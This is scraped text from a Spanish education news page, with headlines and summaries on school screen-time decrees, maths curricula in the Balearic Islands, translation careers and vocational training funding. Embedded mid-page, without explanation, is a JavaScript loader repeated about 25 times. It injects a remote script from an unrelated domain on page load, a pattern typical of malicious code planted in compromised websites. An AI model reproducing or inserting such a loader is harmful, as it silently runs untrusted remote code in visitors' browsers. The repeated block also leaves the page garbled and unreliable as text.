Esta modalidad, han indicado en un comunicado, se suspende por un desacuerdo entre la Federación de Asociaciones y la Junta de Andalucía, algo de lo que las familias se han enterado ahora, en periodo no lectivo.
Miguel Mamajón: “Hemos tenido casos de menores que pasaban hasta 11 horas al día delante de las pantallas”
El psiquiatra infantil impartirá una charla en los Cursos de Verano de la UC en Camargo dedicada a las nuevas tecnologías y los menores.
El 80% de los niños en las grandes ciudades no tienen “zonas de movilidad” seguras
La responsabilidad digital empieza en los padres: claves para una correcta educación tecnológica
El impacto de las redes sociales en los jóvenes, un problema de salud pública
Escuelas Católicas de Madrid y CECE-Madrid estudian si recurrir el decreto antipantallas
Este contenido está restringido a suscriptores
Ambas patronales, que engloban a los titulares de más de 460 centros educativos de la región, la mayoría concertados, aunque CECE-Madrid también representa a instituciones privadas, están estudiando la norma y no descartan interponer un recurso "en defensa de la seguridad jurídica de los centros, de su autonomía y del principio de libertad de enseñanza".
Los colegios privados de Madrid sí tendrán permitido el uso individual de pantallas
El Consejo Escolar de Madrid pide que el decreto antipantallas incluya a los colegios privados
Emilio Díaz (ECM): “La norma [antipantallas] invade la autonomía y la capacidad de dirección de los centros”
La Comunidad de Madrid no permitirá trabajar de forma individual con dispositivos digitales en Infantil y Primaria
Pilar Ponce: "Hay que regular el uso de pantallas porque nos ha superado a todos"
¿Más profesores por alumno es sinónimo de mejor aprendizaje? El papel de la ratio en educación
Este contenido está restringido a suscriptores
La evidencia empírica muestra que la ratio estudiante-docente influye de manera significativa en la calidad educativa, especialmente en las primeras etapas y en contextos vulnerables.
Revolucionar la enseñanza de la Historia con Instagram: “Reyes y reinas con Historia”
Fernando Boillos, docente de 4º de ESO, fusiona redes sociales y aprendizaje histórico en un proyecto innovador que transforma las aulas en espacios digitales del pasado.
El juego como herramienta transformadora de la educación: de la Edujornada al aula
Conocer la prehistoria como un verdadero “Sapiens sapiens”
El patio escolar: la asignatura olvidada
Los alumnos de Primaria y Secundaria de Baleares tendrán más horas de Matemáticas y limitaciones en pantallas
Estas son las dos novedades más importantes de los nuevos currículos escolares para el próximo curso, que ha aprobado el Consell de Govern.
Antoni Vera (Baleares): "Nuestros alumnos de Primaria en una semana reciben 12 horas menos de Matemáticas que los de Castilla y León"
Los nuevos currículos baleares incluyen más horas dedicadas a matemáticas y un refuerzo en lenguas
Expertos proponen al Govern balear más horas lectivas de Matemáticas y mayor atención individual
Un hueco laboral en el sector tecnológico para los futuros traductores
Este contenido está restringido a suscriptores
El impacto de la Inteligencia Artificial (IA) en los sistemas de traducción digitales obligará a los nuevos traductores a trabajar con informáticos.
François Girard: “La música es capaz de cruzar fronteras sin necesidad de traducción”
La Comisión Europea organiza un concurso de traducción en los centros
CEDRO premia el compromiso de los jóvenes con los derechos de autor y el uso ético de la tecnología
Las iniciativas educativas innovadoras suman programas y centros el próximo curso
Las iniciativas educativas innovadoras suman programas y centros el próximo curso en la comunidad murciana.
El IES Pérez Galdós, en Gran Canaria, acoge las XVIII Jornadas Nacionales de Institutos Históricos
;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);
Cerca de un centenar de docentes y profesionales de una veintena de centros educativos de España, además de uno polaco y otro francés, se han reunido en la capital grancanaria para compartir experiencias en torno a la conservación del patrimonio educativo.
El Gobierno reparte 923 millones a las comunidades, 14 a Cantabria, para impulsar la FP
El Gobierno ha repartido 923 millones de euros a las comunidades autónomas, 14,2 para Cantabria, para impulsar la Formación Profesional, tanto para la cualificación de trabajadores desempleados como para la recualificación de ocupados.